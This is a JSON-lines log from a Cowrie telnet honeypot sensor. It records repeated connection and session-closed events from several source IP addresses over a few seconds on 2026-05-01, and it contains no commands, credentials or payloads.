{"eventid":"cowrie.session.closed","duration":30.754562854766846,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:26.075072Z","src_ip":"81.30.157.18","session":"777fa23db835","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.328206300735474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:26.203387Z","src_ip":"81.30.157.18","session":"5e4282e7e1fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":52888,"dst_ip":"159.203.135.109","dst_port":23,"session":"3805df313744","protocol":"telnet","message":"New connection: 37.187.24.227:52888 (159.203.135.109:23) [session: 3805df313744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:26.232226Z"}
{"eventid":"cowrie.session.closed","duration":30.27812623977661,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:26.501282Z","src_ip":"168.119.91.149","session":"0b9b8feef3cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.22192120552063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:26.518178Z","src_ip":"168.119.91.149","session":"8403256e3238","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":33658,"dst_ip":"159.203.135.109","dst_port":23,"session":"45d660186f42","protocol":"telnet","message":"New connection: 147.135.136.77:33658 (159.203.135.109:23) [session: 45d660186f42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:26.760274Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":59012,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c644150bbe8","protocol":"telnet","message":"New connection: 168.119.91.149:59012 (159.203.135.109:23) [session: 8c644150bbe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:26.890931Z"}
{"eventid":"cowrie.session.closed","duration":30.210375785827637,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:27.054638Z","src_ip":"147.135.136.77","session":"98669949e018","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34843683242798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:27.062217Z","src_ip":"81.30.157.18","session":"fb0afbb65984","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.319860458374023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:27.089311Z","src_ip":"81.30.157.18","session":"03f51d81e29b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.651914358139038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:27.143883Z","src_ip":"81.30.157.18","session":"2c54245f9eb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":55866,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd9a3df19c59","protocol":"telnet","message":"New connection: 37.187.24.227:55866 (159.203.135.109:23) [session: fd9a3df19c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:27.256473Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":38774,"dst_ip":"159.203.135.109","dst_port":23,"session":"8204eb46e118","protocol":"telnet","message":"New connection: 81.30.157.18:38774 (159.203.135.109:23) [session: 8204eb46e118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:27.331257Z"}
{"eventid":"cowrie.session.closed","duration":31.0611572265625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:27.339790Z","src_ip":"81.30.157.18","session":"5e39cb2f8daf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":59586,"dst_ip":"159.203.135.109","dst_port":23,"session":"27191e3170f1","protocol":"telnet","message":"New connection: 173.249.44.46:59586 (159.203.135.109:23) [session: 27191e3170f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:27.380559Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":59332,"dst_ip":"159.203.135.109","dst_port":23,"session":"9094877666d4","protocol":"telnet","message":"New connection: 46.101.32.143:59332 (159.203.135.109:23) [session: 9094877666d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:27.420282Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":38780,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3ce4276fe15","protocol":"telnet","message":"New connection: 81.30.157.18:38780 (159.203.135.109:23) [session: e3ce4276fe15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:27.457117Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":38796,"dst_ip":"159.203.135.109","dst_port":23,"session":"5515dff8c35e","protocol":"telnet","message":"New connection: 81.30.157.18:38796 (159.203.135.109:23) [session: 5515dff8c35e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:27.472243Z"}
{"eventid":"cowrie.session.closed","duration":30.673872232437134,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:27.604414Z","src_ip":"168.119.91.149","session":"10765445a87a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":38804,"dst_ip":"159.203.135.109","dst_port":23,"session":"f08b8516bb0d","protocol":"telnet","message":"New connection: 81.30.157.18:38804 (159.203.135.109:23) [session: f08b8516bb0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:27.920278Z"}
{"eventid":"cowrie.session.closed","duration":30.88189697265625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:28.038410Z","src_ip":"46.101.32.143","session":"8ef2b502676b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61338448524475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:28.048734Z","src_ip":"37.187.24.227","session":"9c459725f6de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":38814,"dst_ip":"159.203.135.109","dst_port":23,"session":"596ddb81a85a","protocol":"telnet","message":"New connection: 81.30.157.18:38814 (159.203.135.109:23) [session: 596ddb81a85a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:28.114502Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":56214,"dst_ip":"159.203.135.109","dst_port":23,"session":"54ada168c5e9","protocol":"telnet","message":"New connection: 85.208.100.77:56214 (159.203.135.109:23) [session: 54ada168c5e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:28.391371Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":33660,"dst_ip":"159.203.135.109","dst_port":23,"session":"f418abe42a7d","protocol":"telnet","message":"New connection: 147.135.136.77:33660 (159.203.135.109:23) [session: f418abe42a7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:28.503352Z"}
{"eventid":"cowrie.session.closed","duration":31.47325611114502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:28.767164Z","src_ip":"37.187.24.227","session":"e0ea29daa339","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.861076831817627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:29.082485Z","src_ip":"81.30.157.18","session":"9aa5e22fe6f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":59018,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6bd8ab2b810","protocol":"telnet","message":"New connection: 168.119.91.149:59018 (159.203.135.109:23) [session: f6bd8ab2b810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:29.162235Z"}
{"eventid":"cowrie.session.closed","duration":31.00632905960083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:29.423949Z","src_ip":"81.30.157.18","session":"2679461afed2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.026912927627563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:29.428986Z","src_ip":"81.30.157.18","session":"e0ce5a86ad14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":38820,"dst_ip":"159.203.135.109","dst_port":23,"session":"84ee87bcc5b5","protocol":"telnet","message":"New connection: 81.30.157.18:38820 (159.203.135.109:23) [session: 84ee87bcc5b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:29.491177Z"}
{"eventid":"cowrie.session.closed","duration":30.253793954849243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:29.527091Z","src_ip":"168.119.91.149","session":"46e5c5a7ec41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":33466,"dst_ip":"159.203.135.109","dst_port":23,"session":"600897fa6db2","protocol":"telnet","message":"New connection: 46.101.32.143:33466 (159.203.135.109:23) [session: 600897fa6db2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:29.546550Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":33862,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c36f17bc8d1","protocol":"telnet","message":"New connection: 46.101.32.143:33862 (159.203.135.109:23) [session: 6c36f17bc8d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:30.008456Z"}
{"eventid":"cowrie.session.closed","duration":30.83410334587097,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:30.046541Z","src_ip":"81.30.157.18","session":"7fb57844b008","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.454510927200317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:30.077129Z","src_ip":"81.30.157.18","session":"3e4e7b82c3a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62188696861267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:30.177650Z","src_ip":"85.208.100.77","session":"cb1b0b7c0c5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":59348,"dst_ip":"159.203.135.109","dst_port":23,"session":"6aebe0c551a7","protocol":"telnet","message":"New connection: 85.208.100.77:59348 (159.203.135.109:23) [session: 6aebe0c551a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:30.289902Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":34094,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b7f2ae672c4","protocol":"telnet","message":"New connection: 46.101.32.143:34094 (159.203.135.109:23) [session: 7b7f2ae672c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:30.338312Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":58892,"dst_ip":"159.203.135.109","dst_port":23,"session":"312cd983b77a","protocol":"telnet","message":"New connection: 149.102.133.101:58892 (159.203.135.109:23) [session: 312cd983b77a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:30.363779Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":38834,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2954614fe04","protocol":"telnet","message":"New connection: 81.30.157.18:38834 (159.203.135.109:23) [session: e2954614fe04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:30.452819Z"}
{"eventid":"cowrie.session.closed","duration":30.696529388427734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:30.471524Z","src_ip":"168.119.91.149","session":"646151d46ad2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.863337516784668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:30.602235Z","src_ip":"168.119.91.149","session":"29fac227f755","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.585922241210938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:30.625042Z","src_ip":"81.30.157.18","session":"9de265143642","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":38848,"dst_ip":"159.203.135.109","dst_port":23,"session":"abe80da73d20","protocol":"telnet","message":"New connection: 81.30.157.18:38848 (159.203.135.109:23) [session: abe80da73d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:30.643960Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":33662,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8c434dfddfe","protocol":"telnet","message":"New connection: 147.135.136.77:33662 (159.203.135.109:23) [session: e8c434dfddfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:30.956095Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":47102,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ae2a87c7942","protocol":"telnet","message":"New connection: 168.119.91.149:47102 (159.203.135.109:23) [session: 6ae2a87c7942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:31.102580Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.139.22","src_port":53428,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbeacee998cf","protocol":"telnet","message":"New connection: 206.189.139.22:53428 (159.203.135.109:23) [session: dbeacee998cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:31.280169Z"}
{"eventid":"cowrie.session.closed","duration":30.773210048675537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:31.502962Z","src_ip":"168.119.91.149","session":"16ad7d825113","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95554232597351,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:31.609906Z","src_ip":"168.119.91.149","session":"6b148ff17874","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":47114,"dst_ip":"159.203.135.109","dst_port":23,"session":"c79a7e4ff9d8","protocol":"telnet","message":"New connection: 168.119.91.149:47114 (159.203.135.109:23) [session: c79a7e4ff9d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:31.667439Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":47124,"dst_ip":"159.203.135.109","dst_port":23,"session":"04c0051d8cf6","protocol":"telnet","message":"New connection: 168.119.91.149:47124 (159.203.135.109:23) [session: 04c0051d8cf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:31.672314Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":58896,"dst_ip":"159.203.135.109","dst_port":23,"session":"7eacba8dc41f","protocol":"telnet","message":"New connection: 149.102.133.101:58896 (159.203.135.109:23) [session: 7eacba8dc41f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:31.701143Z"}
{"eventid":"cowrie.session.closed","duration":30.7655246257782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:32.050091Z","src_ip":"37.187.24.227","session":"d021cfb76c59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":38858,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab136c7960fe","protocol":"telnet","message":"New connection: 81.30.157.18:38858 (159.203.135.109:23) [session: ab136c7960fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:32.269299Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":35176,"dst_ip":"159.203.135.109","dst_port":23,"session":"becebdcdfe47","protocol":"telnet","message":"New connection: 85.208.100.77:35176 (159.203.135.109:23) [session: becebdcdfe47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:32.414708Z"}
{"eventid":"cowrie.session.closed","duration":30.842522382736206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:32.497725Z","src_ip":"168.119.91.149","session":"6d066420b897","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":47126,"dst_ip":"159.203.135.109","dst_port":23,"session":"08758f350dbb","protocol":"telnet","message":"New connection: 168.119.91.149:47126 (159.203.135.109:23) [session: 08758f350dbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:32.811754Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":47138,"dst_ip":"159.203.135.109","dst_port":23,"session":"a897fb21c202","protocol":"telnet","message":"New connection: 168.119.91.149:47138 (159.203.135.109:23) [session: a897fb21c202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:32.883627Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":36828,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e5120d6ef59","protocol":"telnet","message":"New connection: 46.101.32.143:36828 (159.203.135.109:23) [session: 5e5120d6ef59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:32.923177Z"}
{"eventid":"cowrie.session.closed","duration":30.42695641517639,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:33.056639Z","src_ip":"37.187.24.227","session":"4cdab05d1f76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.826210021972656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:33.082064Z","src_ip":"147.135.136.77","session":"de281d64d8dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.281099796295166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:33.288338Z","src_ip":"81.30.157.18","session":"0d439a486c27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":36952,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a1787dd2c37","protocol":"telnet","message":"New connection: 85.208.100.77:36952 (159.203.135.109:23) [session: 0a1787dd2c37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:33.294321Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":38868,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac52c94c6746","protocol":"telnet","message":"New connection: 81.30.157.18:38868 (159.203.135.109:23) [session: ac52c94c6746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:33.299169Z"}
{"eventid":"cowrie.session.closed","duration":31.258832454681396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:33.471449Z","src_ip":"81.30.157.18","session":"9c2517ed2060","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.741546154022217,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:33.499124Z","src_ip":"168.119.91.149","session":"d694d0a49db3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.434820652008057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:33.567500Z","src_ip":"81.30.157.18","session":"30ca8c375b12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":44364,"dst_ip":"159.203.135.109","dst_port":23,"session":"3031e843c778","protocol":"telnet","message":"New connection: 37.187.24.227:44364 (159.203.135.109:23) [session: 3031e843c778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:33.782880Z"}
{"eventid":"cowrie.session.closed","duration":30.7211012840271,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:33.942225Z","src_ip":"168.119.91.149","session":"812bd134d326","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.732839584350586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:34.052870Z","src_ip":"81.30.157.18","session":"aefb62a74734","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65661644935608,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:34.068970Z","src_ip":"81.30.157.18","session":"0c5450a6e1ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.41521191596985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:34.077877Z","src_ip":"149.102.133.101","session":"c0bc0ffc89b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.245396852493286,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:34.194153Z","src_ip":"37.187.24.227","session":"48a09b846644","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":37782,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4910b89f10e","protocol":"telnet","message":"New connection: 81.30.157.18:37782 (159.203.135.109:23) [session: f4910b89f10e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:34.504868Z"}
{"eventid":"cowrie.session.closed","duration":31.195700883865356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:34.571208Z","src_ip":"168.119.91.149","session":"bc5372d1985a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.728179454803467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:35.096850Z","src_ip":"81.30.157.18","session":"6431475452c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.139.22","src_port":53434,"dst_ip":"159.203.135.109","dst_port":23,"session":"b295d7a1024d","protocol":"telnet","message":"New connection: 206.189.139.22:53434 (159.203.135.109:23) [session: b295d7a1024d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:35.137400Z"}
{"eventid":"cowrie.session.closed","duration":30.242367267608643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:35.143519Z","src_ip":"147.135.136.77","session":"8511aa33fcd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":47706,"dst_ip":"159.203.135.109","dst_port":23,"session":"bac00adebeeb","protocol":"telnet","message":"New connection: 37.187.24.227:47706 (159.203.135.109:23) [session: bac00adebeeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:35.251056Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":39526,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9512233acf9","protocol":"telnet","message":"New connection: 46.101.32.143:39526 (159.203.135.109:23) [session: e9512233acf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:35.353360Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":48248,"dst_ip":"159.203.135.109","dst_port":23,"session":"e05ec5328eab","protocol":"telnet","message":"New connection: 37.187.24.227:48248 (159.203.135.109:23) [session: e05ec5328eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:57:35.421271Z"}
